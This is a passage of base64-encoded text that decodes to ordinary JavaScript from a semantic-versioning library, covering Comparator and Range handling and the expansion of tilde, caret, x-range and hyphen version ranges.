9STE9PU0VdIDogcmVbQ09NUEFSQVRPUl07XG4gIHZhciBtID0gY29tcC5tYXRjaChyKTtcblxuICBpZiAoIW0pXG4gICAgdGhyb3cgbmV3IFR5cGVFcnJvcignSW52YWxpZCBjb21wYXJhdG9yOiAnICsgY29tcCk7XG5cbiAgdGhpcy5vcGVyYXRvciA9IG1bMV07XG4gIGlmICh0aGlzLm9wZXJhdG9yID09PSAnPScpXG4gICAgdGhpcy5vcGVyYXRvciA9ICcnO1xuXG4gIC8vIGlmIGl0IGxpdGVyYWxseSBpcyBqdXN0ICc+JyBvciAnJyB0aGVuIGFsbG93IGFueXRoaW5nLlxuICBpZiAoIW1bMl0pXG4gICAgdGhpcy5zZW12ZXIgPSBBTlk7XG4gIGVsc2VcbiAgICB0aGlzLnNlbXZlciA9IG5ldyBTZW1WZXIobVsyXSwgdGhpcy5sb29zZSk7XG59O1xuXG5Db21wYXJhdG9yLnByb3RvdHlwZS50b1N0cmluZyA9IGZ1bmN0aW9uKCkge1xuICByZXR1cm4gdGhpcy52YWx1ZTtcbn07XG5cbkNvbXBhcmF0b3IucHJvdG90eXBlLnRlc3QgPSBmdW5jdGlvbih2ZXJzaW9uKSB7XG4gIGRlYnVnKCdDb21wYXJhdG9yLnRlc3QnLCB2ZXJzaW9uLCB0aGlzLmxvb3NlKTtcblxuICBpZiAodGhpcy5zZW12ZXIgPT09IEFOWSlcbiAgICByZXR1cm4gdHJ1ZTtcblxuICBpZiAodHlwZW9mIHZlcnNpb24gPT09ICdzdHJpbmcnKVxuICAgIHZlcnNpb24gPSBuZXcgU2VtVmVyKHZlcnNpb24sIHRoaXMubG9vc2UpO1xuXG4gIHJldHVybiBjbXAodmVyc2lvbiwgdGhpcy5vcGVyYXRvciwgdGhpcy5zZW12ZXIsIHRoaXMubG9vc2UpO1xufTtcblxuQ29tcGFyYXRvci5wcm90b3R5cGUuaW50ZXJzZWN0cyA9IGZ1bmN0aW9uKGNvbXAsIGxvb3NlKSB7XG4gIGlmICghKGNvbXAgaW5zdGFuY2VvZiBDb21wYXJhdG9yKSkge1xuICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ2EgQ29tcGFyYXRvciBpcyByZXF1aXJlZCcpO1xuICB9XG5cbiAgdmFyIHJhbmdlVG1wO1xuXG4gIGlmICh0aGlzLm9wZXJhdG9yID09PSAnJykge1xuICAgIHJhbmdlVG1wID0gbmV3IFJhbmdlKGNvbXAudmFsdWUsIGxvb3NlKTtcbiAgICByZXR1cm4gc2F0aXNmaWVzKHRoaXMudmFsdWUsIHJhbmdlVG1wLCBsb29zZSk7XG4gIH0gZWxzZSBpZiAoY29tcC5vcGVyYXRvciA9PT0gJycpIHtcbiAgICByYW5nZVRtcCA9IG5ldyBSYW5nZSh0aGlzLnZhbHVlLCBsb29zZSk7XG4gICAgcmV0dXJuIHNhdGlzZmllcyhjb21wLnNlbXZlciwgcmFuZ2VUbXAsIGxvb3NlKTtcbiAgfVxuXG4gIHZhciBzYW1lRGlyZWN0aW9uSW5jcmVhc2luZyA9XG4gICAgKHRoaXMub3BlcmF0b3IgPT09ICc+PScgfHwgdGhpcy5vcGVyYXRvciA9PT0gJz4nKSAmJlxuICAgIChjb21wLm9wZXJhdG9yID09PSAnPj0nIHx8IGNvbXAub3BlcmF0b3IgPT09ICc+Jyk7XG4gIHZhciBzYW1lRGlyZWN0aW9uRGVjcmVhc2luZyA9XG4gICAgKHRoaXMub3BlcmF0b3IgPT09ICc8PScgfHwgdGhpcy5vcGVyYXRvciA9PT0gJzwnKSAmJlxuICAgIChjb21wLm9wZXJhdG9yID09PSAnPD0nIHx8IGNvbXAub3BlcmF0b3IgPT09ICc8Jyk7XG4gIHZhciBzYW1lU2VtVmVyID0gdGhpcy5zZW12ZXIudmVyc2lvbiA9PT0gY29tcC5zZW12ZXIudmVyc2lvbjtcbiAgdmFyIGRpZmZlcmVudERpcmVjdGlvbnNJbmNsdXNpdmUgPVxuICAgICh0aGlzLm9wZXJhdG9yID09PSAnPj0nIHx8IHRoaXMub3BlcmF0b3IgPT09ICc8PScpICYmXG4gICAgKGNvbXAub3BlcmF0b3IgPT09ICc+PScgfHwgY29tcC5vcGVyYXRvciA9PT0gJzw9Jyk7XG4gIHZhciBvcHBvc2l0ZURpcmVjdGlvbnNMZXNzVGhhbiA9XG4gICAgY21wKHRoaXMuc2VtdmVyLCAnPCcsIGNvbXAuc2VtdmVyLCBsb29zZSkgJiZcbiAgICAoKHRoaXMub3BlcmF0b3IgPT09ICc+PScgfHwgdGhpcy5vcGVyYXRvciA9PT0gJz4nKSAmJlxuICAgIChjb21wLm9wZXJhdG9yID09PSAnPD0nIHx8IGNvbXAub3BlcmF0b3IgPT09ICc8JykpO1xuICB2YXIgb3Bwb3NpdGVEaXJlY3Rpb25zR3JlYXRlclRoYW4gPVxuICAgIGNtcCh0aGlzLnNlbXZlciwgJz4nLCBjb21wLnNlbXZlciwgbG9vc2UpICYmXG4gICAgKCh0aGlzLm9wZXJhdG9yID09PSAnPD0nIHx8IHRoaXMub3BlcmF0b3IgPT09ICc8JykgJiZcbiAgICAoY29tcC5vcGVyYXRvciA9PT0gJz49JyB8fCBjb21wLm9wZXJhdG9yID09PSAnPicpKTtcblxuICByZXR1cm4gc2FtZURpcmVjdGlvbkluY3JlYXNpbmcgfHwgc2FtZURpcmVjdGlvbkRlY3JlYXNpbmcgfHxcbiAgICAoc2FtZVNlbVZlciAmJiBkaWZmZXJlbnREaXJlY3Rpb25zSW5jbHVzaXZlKSB8fFxuICAgIG9wcG9zaXRlRGlyZWN0aW9uc0xlc3NUaGFuIHx8IG9wcG9zaXRlRGlyZWN0aW9uc0dyZWF0ZXJUaGFuO1xufTtcblxuXG5leHBvcnRzLlJhbmdlID0gUmFuZ2U7XG5mdW5jdGlvbiBSYW5nZShyYW5nZSwgbG9vc2UpIHtcbiAgaWYgKHJhbmdlIGluc3RhbmNlb2YgUmFuZ2UpIHtcbiAgICBpZiAocmFuZ2UubG9vc2UgPT09IGxvb3NlKSB7XG4gICAgICByZXR1cm4gcmFuZ2U7XG4gICAgfSBlbHNlIHtcbiAgICAgIHJldHVybiBuZXcgUmFuZ2UocmFuZ2UucmF3LCBsb29zZSk7XG4gICAgfVxuICB9XG5cbiAgaWYgKHJhbmdlIGluc3RhbmNlb2YgQ29tcGFyYXRvcikge1xuICAgIHJldHVybiBuZXcgUmFuZ2UocmFuZ2UudmFsdWUsIGxvb3NlKTtcbiAgfVxuXG4gIGlmICghKHRoaXMgaW5zdGFuY2VvZiBSYW5nZSkpXG4gICAgcmV0dXJuIG5ldyBSYW5nZShyYW5nZSwgbG9vc2UpO1xuXG4gIHRoaXMubG9vc2UgPSBsb29zZTtcblxuICAvLyBGaXJzdCwgc3BsaXQgYmFzZWQgb24gYm9vbGVhbiBvciB8fFxuICB0aGlzLnJhdyA9IHJhbmdlO1xuICB0aGlzLnNldCA9IHJhbmdlLnNwbGl0KC9cXHMqXFx8XFx8XFxzKi8pLm1hcChmdW5jdGlvbihyYW5nZSkge1xuICAgIHJldHVybiB0aGlzLnBhcnNlUmFuZ2UocmFuZ2UudHJpbSgpKTtcbiAgfSwgdGhpcykuZmlsdGVyKGZ1bmN0aW9uKGMpIHtcbiAgICAvLyB0aHJvdyBvdXQgYW55IHRoYXQgYXJlIG5vdCByZWxldmFudCBmb3Igd2hhdGV2ZXIgcmVhc29uXG4gICAgcmV0dXJuIGMubGVuZ3RoO1xuICB9KTtcblxuICBpZiAoIXRoaXMuc2V0Lmxlbmd0aCkge1xuICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0ludmFsaWQgU2VtVmVyIFJhbmdlOiAnICsgcmFuZ2UpO1xuICB9XG5cbiAgdGhpcy5mb3JtYXQoKTtcbn1cblxuUmFuZ2UucHJvdG90eXBlLmZvcm1hdCA9IGZ1bmN0aW9uKCkge1xuICB0aGlzLnJhbmdlID0gdGhpcy5zZXQubWFwKGZ1bmN0aW9uKGNvbXBzKSB7XG4gICAgcmV0dXJuIGNvbXBzLmpvaW4oJyAnKS50cmltKCk7XG4gIH0pLmpvaW4oJ3x8JykudHJpbSgpO1xuICByZXR1cm4gdGhpcy5yYW5nZTtcbn07XG5cblJhbmdlLnByb3RvdHlwZS50b1N0cmluZyA9IGZ1bmN0aW9uKCkge1xuICByZXR1cm4gdGhpcy5yYW5nZTtcbn07XG5cblJhbmdlLnByb3RvdHlwZS5wYXJzZVJhbmdlID0gZnVuY3Rpb24ocmFuZ2UpIHtcbiAgdmFyIGxvb3NlID0gdGhpcy5sb29zZTtcbiAgcmFuZ2UgPSByYW5nZS50cmltKCk7XG4gIGRlYnVnKCdyYW5nZScsIHJhbmdlLCBsb29zZSk7XG4gIC8vIGAxLjIuMyAtIDEuMi40YCA9PiBgPj0xLjIuMyA8PTEuMi40YFxuICB2YXIgaHIgPSBsb29zZSA/IHJlW0hZUEhFTlJBTkdFTE9PU0VdIDogcmVbSFlQSEVOUkFOR0VdO1xuICByYW5nZSA9IHJhbmdlLnJlcGxhY2UoaHIsIGh5cGhlblJlcGxhY2UpO1xuICBkZWJ1ZygnaHlwaGVuIHJlcGxhY2UnLCByYW5nZSk7XG4gIC8vIGA+IDEuMi4zIDwgMS4yLjVgID0+IGA+MS4yLjMgPDEuMi41YFxuICByYW5nZSA9IHJhbmdlLnJlcGxhY2UocmVbQ09NUEFSQVRPUlRSSU1dLCBjb21wYXJhdG9yVHJpbVJlcGxhY2UpO1xuICBkZWJ1ZygnY29tcGFyYXRvciB0cmltJywgcmFuZ2UsIHJlW0NPTVBBUkFUT1JUUklNXSk7XG5cbiAgLy8gYH4gMS4yLjNgID0+IGB+MS4yLjNgXG4gIHJhbmdlID0gcmFuZ2UucmVwbGFjZShyZVtUSUxERVRSSU1dLCB0aWxkZVRyaW1SZXBsYWNlKTtcblxuICAvLyBgXiAxLjIuM2AgPT4gYF4xLjIuM2BcbiAgcmFuZ2UgPSByYW5nZS5yZXBsYWNlKHJlW0NBUkVUVFJJTV0sIGNhcmV0VHJpbVJlcGxhY2UpO1xuXG4gIC8vIG5vcm1hbGl6ZSBzcGFjZXNcbiAgcmFuZ2UgPSByYW5nZS5zcGxpdCgvXFxzKy8pLmpvaW4oJyAnKTtcblxuICAvLyBBdCB0aGlzIHBvaW50LCB0aGUgcmFuZ2UgaXMgY29tcGxldGVseSB0cmltbWVkIGFuZFxuICAvLyByZWFkeSB0byBiZSBzcGxpdCBpbnRvIGNvbXBhcmF0b3JzLlxuXG4gIHZhciBjb21wUmUgPSBsb29zZSA/IHJlW0NPTVBBUkFUT1JMT09TRV0gOiByZVtDT01QQVJBVE9SXTtcbiAgdmFyIHNldCA9IHJhbmdlLnNwbGl0KCcgJykubWFwKGZ1bmN0aW9uKGNvbXApIHtcbiAgICByZXR1cm4gcGFyc2VDb21wYXJhdG9yKGNvbXAsIGxvb3NlKTtcbiAgfSkuam9pbignICcpLnNwbGl0KC9cXHMrLyk7XG4gIGlmICh0aGlzLmxvb3NlKSB7XG4gICAgLy8gaW4gbG9vc2UgbW9kZSwgdGhyb3cgb3V0IGFueSB0aGF0IGFyZSBub3QgdmFsaWQgY29tcGFyYXRvcnNcbiAgICBzZXQgPSBzZXQuZmlsdGVyKGZ1bmN0aW9uKGNvbXApIHtcbiAgICAgIHJldHVybiAhIWNvbXAubWF0Y2goY29tcFJlKTtcbiAgICB9KTtcbiAgfVxuICBzZXQgPSBzZXQubWFwKGZ1bmN0aW9uKGNvbXApIHtcbiAgICByZXR1cm4gbmV3IENvbXBhcmF0b3IoY29tcCwgbG9vc2UpO1xuICB9KTtcblxuICByZXR1cm4gc2V0O1xufTtcblxuUmFuZ2UucHJvdG90eXBlLmludGVyc2VjdHMgPSBmdW5jdGlvbihyYW5nZSwgbG9vc2UpIHtcbiAgaWYgKCEocmFuZ2UgaW5zdGFuY2VvZiBSYW5nZSkpIHtcbiAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdhIFJhbmdlIGlzIHJlcXVpcmVkJyk7XG4gIH1cblxuICByZXR1cm4gdGhpcy5zZXQuc29tZShmdW5jdGlvbih0aGlzQ29tcGFyYXRvcnMpIHtcbiAgICByZXR1cm4gdGhpc0NvbXBhcmF0b3JzLmV2ZXJ5KGZ1bmN0aW9uKHRoaXNDb21wYXJhdG9yKSB7XG4gICAgICByZXR1cm4gcmFuZ2Uuc2V0LnNvbWUoZnVuY3Rpb24ocmFuZ2VDb21wYXJhdG9ycykge1xuICAgICAgICByZXR1cm4gcmFuZ2VDb21wYXJhdG9ycy5ldmVyeShmdW5jdGlvbihyYW5nZUNvbXBhcmF0b3IpIHtcbiAgICAgICAgICByZXR1cm4gdGhpc0NvbXBhcmF0b3IuaW50ZXJzZWN0cyhyYW5nZUNvbXBhcmF0b3IsIGxvb3NlKTtcbiAgICAgICAgfSk7XG4gICAgICB9KTtcbiAgICB9KTtcbiAgfSk7XG59O1xuXG4vLyBNb3N0bHkganVzdCBmb3IgdGVzdGluZyBhbmQgbGVnYWN5IEFQSSByZWFzb25zXG5leHBvcnRzLnRvQ29tcGFyYXRvcnMgPSB0b0NvbXBhcmF0b3JzO1xuZnVuY3Rpb24gdG9Db21wYXJhdG9ycyhyYW5nZSwgbG9vc2UpIHtcbiAgcmV0dXJuIG5ldyBSYW5nZShyYW5nZSwgbG9vc2UpLnNldC5tYXAoZnVuY3Rpb24oY29tcCkge1xuICAgIHJldHVybiBjb21wLm1hcChmdW5jdGlvbihjKSB7XG4gICAgICByZXR1cm4gYy52YWx1ZTtcbiAgICB9KS5qb2luKCcgJykudHJpbSgpLnNwbGl0KCcgJyk7XG4gIH0pO1xufVxuXG4vLyBjb21wcmlzZWQgb2YgeHJhbmdlcywgdGlsZGVzLCBzdGFycywgYW5kIGd0bHQncyBhdCB0aGlzIHBvaW50LlxuLy8gYWxyZWFkeSByZXBsYWNlZCB0aGUgaHlwaGVuIHJhbmdlc1xuLy8gdHVybiBpbnRvIGEgc2V0IG9mIEpVU1QgY29tcGFyYXRvcnMuXG5mdW5jdGlvbiBwYXJzZUNvbXBhcmF0b3IoY29tcCwgbG9vc2UpIHtcbiAgZGVidWcoJ2NvbXAnLCBjb21wKTtcbiAgY29tcCA9IHJlcGxhY2VDYXJldHMoY29tcCwgbG9vc2UpO1xuICBkZWJ1ZygnY2FyZXQnLCBjb21wKTtcbiAgY29tcCA9IHJlcGxhY2VUaWxkZXMoY29tcCwgbG9vc2UpO1xuICBkZWJ1ZygndGlsZGVzJywgY29tcCk7XG4gIGNvbXAgPSByZXBsYWNlWFJhbmdlcyhjb21wLCBsb29zZSk7XG4gIGRlYnVnKCd4cmFuZ2UnLCBjb21wKTtcbiAgY29tcCA9IHJlcGxhY2VTdGFycyhjb21wLCBsb29zZSk7XG4gIGRlYnVnKCdzdGFycycsIGNvbXApO1xuICByZXR1cm4gY29tcDtcbn1cblxuZnVuY3Rpb24gaXNYKGlkKSB7XG4gIHJldHVybiAhaWQgfHwgaWQudG9Mb3dlckNhc2UoKSA9PT0gJ3gnIHx8IGlkID09PSAnKic7XG59XG5cbi8vIH4sIH4+IC0tPiAqIChhbnksIGtpbmRhIHNpbGx5KVxuLy8gfjIsIH4yLngsIH4yLngueCwgfj4yLCB+PjIueCB+PjIueC54IC0tPiA+PTIuMC4wIDwzLjAuMFxuLy8gfjIuMCwgfjIuMC54LCB+PjIuMCwgfj4yLjAueCAtLT4gPj0yLjAuMCA8Mi4xLjBcbi8vIH4xLjIsIH4xLjIueCwgfj4xLjIsIH4+MS4yLnggLS0+ID49MS4yLjAgPDEuMy4wXG4vLyB+MS4yLjMsIH4+MS4yLjMgLS0+ID49MS4yLjMgPDEuMy4wXG4vLyB+MS4yLjAsIH4+MS4yLjAgLS0+ID49MS4yLjAgPDEuMy4wXG5mdW5jdGlvbiByZXBsYWNlVGlsZGVzKGNvbXAsIGxvb3NlKSB7XG4gIHJldHVybiBjb21wLnRyaW0oKS5zcGxpdCgvXFxzKy8pLm1hcChmdW5jdGlvbihjb21wKSB7XG4gICAgcmV0dXJuIHJlcGxhY2VUaWxkZShjb21wLCBsb29zZSk7XG4gIH0pLmpvaW4oJyAnKTtcbn1cblxuZnVuY3Rpb24gcmVwbGFjZVRpbGRlKGNvbXAsIGxvb3NlKSB7XG4gIHZhciByID0gbG9vc2UgPyByZVtUSUxERUxPT1NFXSA6IHJlW1RJTERFXTtcbiAgcmV0dXJuIGNvbXAucmVwbGFjZShyLCBmdW5jdGlvbihfLCBNLCBtLCBwLCBwcikge1xuICAgIGRlYnVnKCd0aWxkZScsIGNvbXAsIF8sIE0sIG0sIHAsIHByKTtcbiAgICB2YXIgcmV0O1xuXG4gICAgaWYgKGlzWChNKSlcbiAgICAgIHJldCA9ICcnO1xuICAgIGVsc2UgaWYgKGlzWChtKSlcbiAgICAgIHJldCA9ICc+PScgKyBNICsgJy4wLjAgPCcgKyAoK00gKyAxKSArICcuMC4wJztcbiAgICBlbHNlIGlmIChpc1gocCkpXG4gICAgICAvLyB+MS4yID09ID49MS4yLjAgPDEuMy4wXG4gICAgICByZXQgPSAnPj0nICsgTSArICcuJyArIG0gKyAnLjAgPCcgKyBNICsgJy4nICsgKCttICsgMSkgKyAnLjAnO1xuICAgIGVsc2UgaWYgKHByKSB7XG4gICAgICBkZWJ1ZygncmVwbGFjZVRpbGRlIHByJywgcHIpO1xuICAgICAgaWYgKHByLmNoYXJBdCgwKSAhPT0gJy0nKVxuICAgICAgICBwciA9ICctJyArIHByO1xuICAgICAgcmV0ID0gJz49JyArIE0gKyAnLicgKyBtICsgJy4nICsgcCArIHByICtcbiAgICAgICAgICAgICcgPCcgKyBNICsgJy4nICsgKCttICsgMSkgKyAnLjAnO1xuICAgIH0gZWxzZVxuICAgICAgLy8gfjEuMi4zID09ID49MS4yLjMgPDEuMy4wXG4gICAgICByZXQgPSAnPj0nICsgTSArICcuJyArIG0gKyAnLicgKyBwICtcbiAgICAgICAgICAgICcgPCcgKyBNICsgJy4nICsgKCttICsgMSkgKyAnLjAnO1xuXG4gICAgZGVidWcoJ3RpbGRlIHJldHVybicsIHJldCk7XG4gICAgcmV0dXJuIHJldDtcbiAgfSk7XG59XG5cbi8vIF4gLS0+ICogKGFueSwga2luZGEgc2lsbHkpXG4vLyBeMiwgXjIueCwgXjIueC54IC0tPiA+PTIuMC4wIDwzLjAuMFxuLy8gXjIuMCwgXjIuMC54IC0tPiA+PTIuMC4wIDwzLjAuMFxuLy8gXjEuMiwgXjEuMi54IC0tPiA+PTEuMi4wIDwyLjAuMFxuLy8gXjEuMi4zIC0tPiA+PTEuMi4zIDwyLjAuMFxuLy8gXjEuMi4wIC0tPiA+PTEuMi4wIDwyLjAuMFxuZnVuY3Rpb24gcmVwbGFjZUNhcmV0cyhjb21wLCBsb29zZSkge1xuICByZXR1cm4gY29tcC50cmltKCkuc3BsaXQoL1xccysvKS5tYXAoZnVuY3Rpb24oY29tcCkge1xuICAgIHJldHVybiByZXBsYWNlQ2FyZXQoY29tcCwgbG9vc2UpO1xuICB9KS5qb2luKCcgJyk7XG59XG5cbmZ1bmN0aW9uIHJlcGxhY2VDYXJldChjb21wLCBsb29zZSkge1xuICBkZWJ1ZygnY2FyZXQnLCBjb21wLCBsb29zZSk7XG4gIHZhciByID0gbG9vc2UgPyByZVtDQVJFVExPT1NFXSA6IHJlW0NBUkVUXTtcbiAgcmV0dXJuIGNvbXAucmVwbGFjZShyLCBmdW5jdGlvbihfLCBNLCBtLCBwLCBwcikge1xuICAgIGRlYnVnKCdjYXJldCcsIGNvbXAsIF8sIE0sIG0sIHAsIHByKTtcbiAgICB2YXIgcmV0O1xuXG4gICAgaWYgKGlzWChNKSlcbiAgICAgIHJldCA9ICcnO1xuICAgIGVsc2UgaWYgKGlzWChtKSlcbiAgICAgIHJldCA9ICc+PScgKyBNICsgJy4wLjAgPCcgKyAoK00gKyAxKSArICcuMC4wJztcbiAgICBlbHNlIGlmIChpc1gocCkpIHtcbiAgICAgIGlmIChNID09PSAnMCcpXG4gICAgICAgIHJldCA9ICc+PScgKyBNICsgJy4nICsgbSArICcuMCA8JyArIE0gKyAnLicgKyAoK20gKyAxKSArICcuMCc7XG4gICAgICBlbHNlXG4gICAgICAgIHJldCA9ICc+PScgKyBNICsgJy4nICsgbSArICcuMCA8JyArICgrTSArIDEpICsgJy4wLjAnO1xuICAgIH0gZWxzZSBpZiAocHIpIHtcbiAgICAgIGRlYnVnKCdyZXBsYWNlQ2FyZXQgcHInLCBwcik7XG4gICAgICBpZiAocHIuY2hhckF0KDApICE9PSAnLScpXG4gICAgICAgIHByID0gJy0nICsgcHI7XG4gICAgICBpZiAoTSA9PT0gJzAnKSB7XG4gICAgICAgIGlmIChtID09PSAnMCcpXG4gICAgICAgICAgcmV0ID0gJz49JyArIE0gKyAnLicgKyBtICsgJy4nICsgcCArIHByICtcbiAgICAgICAgICAgICAgICAnIDwnICsgTSArICcuJyArIG0gKyAnLicgKyAoK3AgKyAxKTtcbiAgICAgICAgZWxzZVxuICAgICAgICAgIHJldCA9ICc+PScgKyBNICsgJy4nICsgbSArICcuJyArIHAgKyBwciArXG4gICAgICAgICAgICAgICAgJyA8JyArIE0gKyAnLicgKyAoK20gKyAxKSArICcuMCc7XG4gICAgICB9IGVsc2VcbiAgICAgICAgcmV0ID0gJz49JyArIE0gKyAnLicgKyBtICsgJy4nICsgcCArIHByICtcbiAgICAgICAgICAgICAgJyA8JyArICgrTSArIDEpICsgJy4wLjAnO1xuICAgIH0gZWxzZSB7XG4gICAgICBkZWJ1Zygnbm8gcHInKTtcbiAgICAgIGlmIChNID09PSAnMCcpIHtcbiAgICAgICAgaWYgKG0gPT09ICcwJylcbiAgICAgICAgICByZXQgPSAnPj0nICsgTSArICcuJyArIG0gKyAnLicgKyBwICtcbiAgICAgICAgICAgICAgICAnIDwnICsgTSArICcuJyArIG0gKyAnLicgKyAoK3AgKyAxKTtcbiAgICAgICAgZWxzZVxuICAgICAgICAgIHJldCA9ICc+PScgKyBNICsgJy4nICsgbSArICcuJyArIHAgK1xuICAgICAgICAgICAgICAgICcgPCcgKyBNICsgJy4nICsgKCttICsgMSkgKyAnLjAnO1xuICAgICAgfSBlbHNlXG4gICAgICAgIHJldCA9ICc+PScgKyBNICsgJy4nICsgbSArICcuJyArIHAgK1xuICAgICAgICAgICAgICAnIDwnICsgKCtNICsgMSkgKyAnLjAuMCc7XG4gICAgfVxuXG4gICAgZGVidWcoJ2NhcmV0IHJldHVybicsIHJldCk7XG4gICAgcmV0dXJuIHJldDtcbiAgfSk7XG59XG5cbmZ1bmN0aW9uIHJlcGxhY2VYUmFuZ2VzKGNvbXAsIGxvb3NlKSB7XG4gIGRlYnVnKCdyZXBsYWNlWFJhbmdlcycsIGNvbXAsIGxvb3NlKTtcbiAgcmV0dXJuIGNvbXAuc3BsaXQoL1xccysvKS5tYXAoZnVuY3Rpb24oY29tcCkge1xuICAgIHJldHVybiByZXBsYWNlWFJhbmdlKGNvbXAsIGxvb3NlKTtcbiAgfSkuam9pbignICcpO1xufVxuXG5mdW5jdGlvbiByZXBsYWNlWFJhbmdlKGNvbXAsIGxvb3NlKSB7XG4gIGNvbXAgPSBjb21wLnRyaW0oKTtcbiAgdmFyIHIgPSBsb29zZSA/IHJlW1hSQU5HRUxPT1NFXSA6IHJlW1hSQU5HRV07XG4gIHJldHVybiBjb21wLnJlcGxhY2UociwgZnVuY3Rpb24ocmV0LCBndGx0LCBNLCBtLCBwLCBwcikge1xuICAgIGRlYnVnKCd4UmFuZ2UnLCBjb21wLCByZXQsIGd0bHQsIE0sIG0sIHAsIHByKTtcbiAgICB2YXIgeE0gPSBpc1goTSk7XG4gICAgdmFyIHhtID0geE0gfHwgaXNYKG0pO1xuICAgIHZhciB4cCA9IHhtIHx8IGlzWChwKTtcbiAgICB2YXIgYW55WCA9IHhwO1xuXG4gICAgaWYgKGd0bHQgPT09ICc9JyAmJiBhbnlYKVxuICAgICAgZ3RsdCA9ICcnO1xuXG4gICAgaWYgKHhNKSB7XG4gICAgICBpZiAoZ3RsdCA9PT0gJz4nIHx8IGd0bHQgPT09ICc8Jykge1xuICAgICAgICAvLyBub3RoaW5nIGlzIGFsbG93ZWRcbiAgICAgICAgcmV0ID0gJzwwLjAuMCc7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICAvLyBub3RoaW5nIGlzIGZvcmJpZGRlblxuICAgICAgICByZXQgPSAnKic7XG4gICAgICB9XG4gICAgfSBlbHNlIGlmIChndGx0ICYmIGFueVgpIHtcbiAgICAgIC8vIHJlcGxhY2UgWCB3aXRoIDBcbiAgICAgIGlmICh4bSlcbiAgICAgICAgbSA9IDA7XG4gICAgICBpZiAoeHApXG4gICAgICAgIHAgPSAwO1xuXG4gICAgICBpZiAoZ3RsdCA9PT0gJz4nKSB7XG4gICAgICAgIC8vID4xID0+ID49Mi4wLjBcbiAgICAgICAgLy8gPjEuMiA9PiA+PTEuMy4wXG4gICAgICAgIC8vID4xLjIuMyA9PiA+PSAxLjIuNFxuICAgICAgICBndGx0ID0gJz49JztcbiAgICAgICAgaWYgKHhtKSB7XG4gICAgICAgICAgTSA9ICtNICsgMTtcbiAgICAgICAgICBtID0gMDtcbiAgICAgICAgICBwID0gMDtcbiAgICAgICAgfSBlbHNlIGlmICh4cCkge1xuICAgICAgICAgIG0gPSArbSArIDE7XG4gICAgICAgICAgcCA9IDA7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAoZ3RsdCA9PT0gJzw9Jykge1xuICAgICAgICAvLyA8PTAuNy54IGlzIGFjdHVhbGx5IDwwLjguMCwgc2luY2UgYW55IDAuNy54IHNob3VsZFxuICAgICAgICAvLyBwYXNzLiAgU2ltaWxhcmx5LCA8PTcueCBpcyBhY3R1YWxseSA8OC4wLjAsIGV0Yy5cbiAgICAgICAgZ3RsdCA9ICc8JztcbiAgICAgICAgaWYgKHhtKVxuICAgICAgICAgIE0gPSArTSArIDE7XG4gICAgICAgIGVsc2VcbiAgICAgICAgICBtID0gK20gKyAxO1xuICAgICAgfVxuXG4gICAgICByZXQgPSBndGx0ICsgTSArICcuJyArIG0gKyAnLicgKyBwO1xuICAgIH0gZWxzZSBpZiAoeG0pIHtcbiAgICAgIHJldCA9ICc+PScgKyBNICsgJy4wLjAgPCcgKyAoK00gKyAxKSArICcuMC4wJztcbiAgICB9IGVsc2UgaWYgKHhwKSB7XG4gICAgICByZXQgPSAnPj0nICsgTSArICcuJyArIG0gKyAnLjAgPCcgKyBNICsgJy4nICsgKCttICsgMSkgKyAnLjAnO1xuICAgIH1cblxuICAgIGRlYnVnKCd4UmFuZ2UgcmV0dXJuJywgcmV0KTtcblxuICAgIHJldHVybiByZXQ7XG4gIH0pO1xufVxuXG4vLyBCZWNhdXNlICogaXMgQU5ELWVkIHdpdGggZXZlcnl0aGluZyBlbHNlIGluIHRoZSBjb21wYXJhdG9yLFxuLy8gYW5kICcnIG1lYW5zIFwiYW55IHZlcnNpb25cIiwganVzdCByZW1vdmUgdGhlICpzIGVudGlyZWx5LlxuZnVuY3Rpb24gcmVwbGFjZVN0YXJzKGNvbXAsIGxvb3NlKSB7XG4gIGRlYnVnKCdyZXBsYWNlU3RhcnMnLCBjb21wLCBsb29zZSk7XG4gIC8vIExvb3NlbmVzcyBpcyBpZ25vcmVkIGhlcmUuICBzdGFyIGlzIGFsd2F5cyBhcyBsb29zZSBhcyBpdCBnZXRzIVxuICByZXR1cm4gY29tcC50cmltKCkucmVwbGFjZShyZVtTVEFSXSwgJycpO1xufVxuXG4vLyBUaGlzIGZ1bmN0aW9uIGlzIHBhc3NlZCB0byBzdHJpbmcucmVwbGFjZShyZVtIWVBIRU5SQU5HRV0pXG4vLyBNLCBtLCBwYXRjaCwgcHJlcmVsZWFzZSwgYnVpbGRcbi8vIDEuMiAtIDMuNC41ID0+ID49MS4yLjAgPD0zLjQuNVxuLy8gMS4yLjMgLSAzLjQgPT4gPj0xLjIuMCA8My41LjAgQW55IDMuNC54IHdpbGwgZG9cbi8vIDEuMiAtIDMuNCA9PiA+PTEuMi4wIDwzLjUuMFxuZnVuY3Rpb24gaHlwaGVuUmVwbGFjZSgkMCxcbiAgICAgICAgICAgICAgICAgICAgICAgZnJvbSwgZk0sIGZtLCBmcCwgZnByLCBmYixcbiAgICAgICAgICAgICAgICAgICAgICAgdG8sIHRNLCB0bSwgdHAsIHRwciwgdGIpIHtcblxuICBpZiAoaXNYKGZNKSlcbiAgICBmcm9tID0gJyc7XG4gIGVsc2UgaWYgKGlzWChmbSkpXG4gICAgZnJvbSA9ICc+PScgKyBmTSArICcuMC4wJztcbiAgZWxzZSBpZiAoaXNYKGZwKSlcbiAgICBmcm9tID0gJz49JyArIGZNICsgJy4nICsgZm0gKyAnLjAnO1xuICBlbHNlXG4gICAgZnJvbSA9ICc+PScgKyBmcm9tO1xuXG4gIGlmIChpc1godE0pKVxuICAgIHRvID0gJyc7XG4gIGVsc2UgaWYgKGlzWCh0bSkpXG4gICAgdG8gPSAnPCcgKyAoK3RNICsgMSkgKyAnLjAuMCc7XG4gIGVsc2UgaWYgKGlzWCh0cCkpXG4gICAgdG8gPSAnPCcgKyB0TSArICcuJyArICgrdG0gKyAxKSArICcuMCc7XG4gIGVsc2UgaWYgKHRwcilcbiAgICB0byA9ICc8PScgKyB0TSArICcuJyArIHRtICsgJy4nICsgdHAgKyAnLScgKyB0cHI7XG4gIGVsc2VcbiAgICB0byA9ICc8PScgKyB0bztcblxuICByZXR1cm4gKGZyb20gKyAnICcgKyB0bykudHJpbSgpO1xufVxuXG5cbi8vIGlmIEFOWSBvZiB0aGUgc2V0cyBtYXRjaCBBTEwgb2YgaXRzIGNvbXBh